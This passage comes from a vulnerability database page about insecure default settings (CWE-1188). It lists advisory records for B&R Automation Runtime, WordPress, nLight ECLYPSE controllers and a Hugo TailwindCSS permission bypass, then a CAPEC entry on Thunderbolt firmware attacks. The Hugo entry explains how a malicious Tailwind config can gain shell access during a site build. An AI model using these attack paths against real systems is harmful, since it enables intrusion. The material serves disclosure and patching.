"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T13:38:38Z",
"severity": "MODERATE"
},
"details": "Enabled IP Forwarding feature in B\u0026R Automation Runtime versions before 6.0.2 may allow remote attack-ers to compromise network security by routing IP-based packets through the host, potentially by-passing firewall, router, or NAC filtering.",
"id": "GHSA-pgr9-55pc-cmx2",
"modified": "2024-08-12T15:30:51Z",
"published": "2024-08-12T15:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5801"
},
{
"type": "WEB",
"url": "https://www.br-automation.com/fileadmin/SA24P011-d8aaf02f.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PQH4-X29P-6XRC
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:31wp-mail.php in WordPress before 4.7.1 might allow remote attackers to bypass intended posting restrictions via a spoofed mail server with the mail.example.com name.
{
"affected": [],
"aliases": [
"CVE-2017-5491"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-15T02:59:00Z",
"severity": "MODERATE"
},
"details": "wp-mail.php in WordPress before 4.7.1 might allow remote attackers to bypass intended posting restrictions via a spoofed mail server with the mail.example.com name.",
"id": "GHSA-pqh4-x29p-6xrc",
"modified": "2025-04-20T03:31:13Z",
"published": "2022-05-13T01:46:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5491"
},
{
"type": "WEB",
"url": "https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c8596a"
},
{
"type": "WEB",
"url": "https://codex.wordpress.org/Version_4.7.1"
},
{
"type": "WEB",
"url": "https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8719"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3779"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/01/14/6"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95406"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037591"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PVM8-7672-FW3W
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14nLight ECLYPSE (nECY) system Controllers running software prior to 1.17.21245.754 contain a default key vulnerability. The nECY does not force a change to the key upon the initial configuration of an affected device. nECY system controllers utilize an encrypted channel to secure SensorViewTM configuration and monitoring software and nECY to nECY communications. Impacted devices are at risk of exploitation. A remote attacker with IP access to an impacted device could submit lighting control commands to the nECY by leveraging the default key. A successful attack may result in the attacker gaining the ability to modify lighting conditions or gain the ability to update the software on lighting devices. The impacted key is referred to as the SensorView Password in the nECY nLight Explorer Interface and the Gateway Password in the SensorView application. An attacker cannot authenticate to or modify the configuration or software of the nECY system controller.
{
"affected": [],
"aliases": [
"CVE-2021-40825"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-17T17:15:00Z",
"severity": "HIGH"
},
"details": "nLight ECLYPSE (nECY) system Controllers running software prior to 1.17.21245.754 contain a default key vulnerability. The nECY does not force a change to the key upon the initial configuration of an affected device. nECY system controllers utilize an encrypted channel to secure SensorViewTM configuration and monitoring software and nECY to nECY communications. Impacted devices are at risk of exploitation. A remote attacker with IP access to an impacted device could submit lighting control commands to the nECY by leveraging the default key. A successful attack may result in the attacker gaining the ability to modify lighting conditions or gain the ability to update the software on lighting devices. The impacted key is referred to as the SensorView Password in the nECY nLight Explorer Interface and the Gateway Password in the SensorView application. An attacker cannot authenticate to or modify the configuration or software of the nECY system controller.",
"id": "GHSA-pvm8-7672-fw3w",
"modified": "2022-05-24T19:14:55Z",
"published": "2022-05-24T19:14:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40825"
},
{
"type": "WEB",
"url": "https://insights.acuitybrands.com/psirt-blog-2369078/nlight-eclypse-default-key-vulnerabiliy"
},
{
"type": "WEB",
"url": "https://www.acuitybrands.com/products/detail/588952/nlight/necy-system-controller/nlight-eclypset-system-controller"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PXPG-7GFV-6WC9
Vulnerability from github – Published: 2026-08-18 18:32 – Updated: 2026-08-18 18:32Hugo 0.161.0 placed the Node asset pipelines behind the Node.js permission model so that code running through PostCSS, Babel, or TailwindCSS could not reach the file system outside the project directory. Hugo 0.162.0 added tailwindcss to the AllowChildProcess default in config/security/securityConfig.go, which makes nodePermissionArgs in common/hexec/exec.go append --allow-child-process whenever the tool being launched is named tailwindcss. TailwindCSS loads the site's tailwind.config.js through require at startup, so top-level code in that file executes inside the permitted Node process and can call child_process to spawn a shell. The spawned process is not a Node process and inherits none of the permission flags, so it runs with the full privileges of the account performing the build. Building a site whose theme, module, or starter template supplies the Tailwind configuration therefore yields arbitrary command execution rather than the confined file access the permission model was introduced to enforce. Hugo 0.165.0 removes tailwindcss from the default security.exec.allow list, so the tool is no longer launched under the default configuration.
{
"affected": [],
"aliases": [
"CVE-2026-75926"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T16:18:24Z",
"severity": "CRITICAL"
},
"details": "Hugo 0.161.0 placed the Node asset pipelines behind the Node.js permission model so that code running through PostCSS, Babel, or TailwindCSS could not reach the file system outside the project directory. Hugo 0.162.0 added tailwindcss to the AllowChildProcess default in config/security/securityConfig.go, which makes nodePermissionArgs in common/hexec/exec.go append --allow-child-process whenever the tool being launched is named tailwindcss. TailwindCSS loads the site\u0027s tailwind.config.js through require at startup, so top-level code in that file executes inside the permitted Node process and can call child_process to spawn a shell. The spawned process is not a Node process and inherits none of the permission flags, so it runs with the full privileges of the account performing the build. Building a site whose theme, module, or starter template supplies the Tailwind configuration therefore yields arbitrary command execution rather than the confined file access the permission model was introduced to enforce. Hugo 0.165.0 removes tailwindcss from the default security.exec.allow list, so the tool is no longer launched under the default configuration.",
"id": "GHSA-pxpg-7gfv-6wc9",
"modified": "2026-08-18T18:32:00Z",
"published": "2026-08-18T18:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75926"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/issues/15178"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/commit/8a55df7af2e6da31297245cc54fa2e3b521d93e8"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/blob/v0.164.0/common/hexec/exec.go#L292-L295"
},
{
"type": "WEB",
"url": "https://github.com/gohugoio/hugo/blob/v0.164.0/config/security/securityConfig.go#L72-L79"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hugo-to-x-node-permission-model-bypass-via-default-tailwindcss-child-process-grant"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.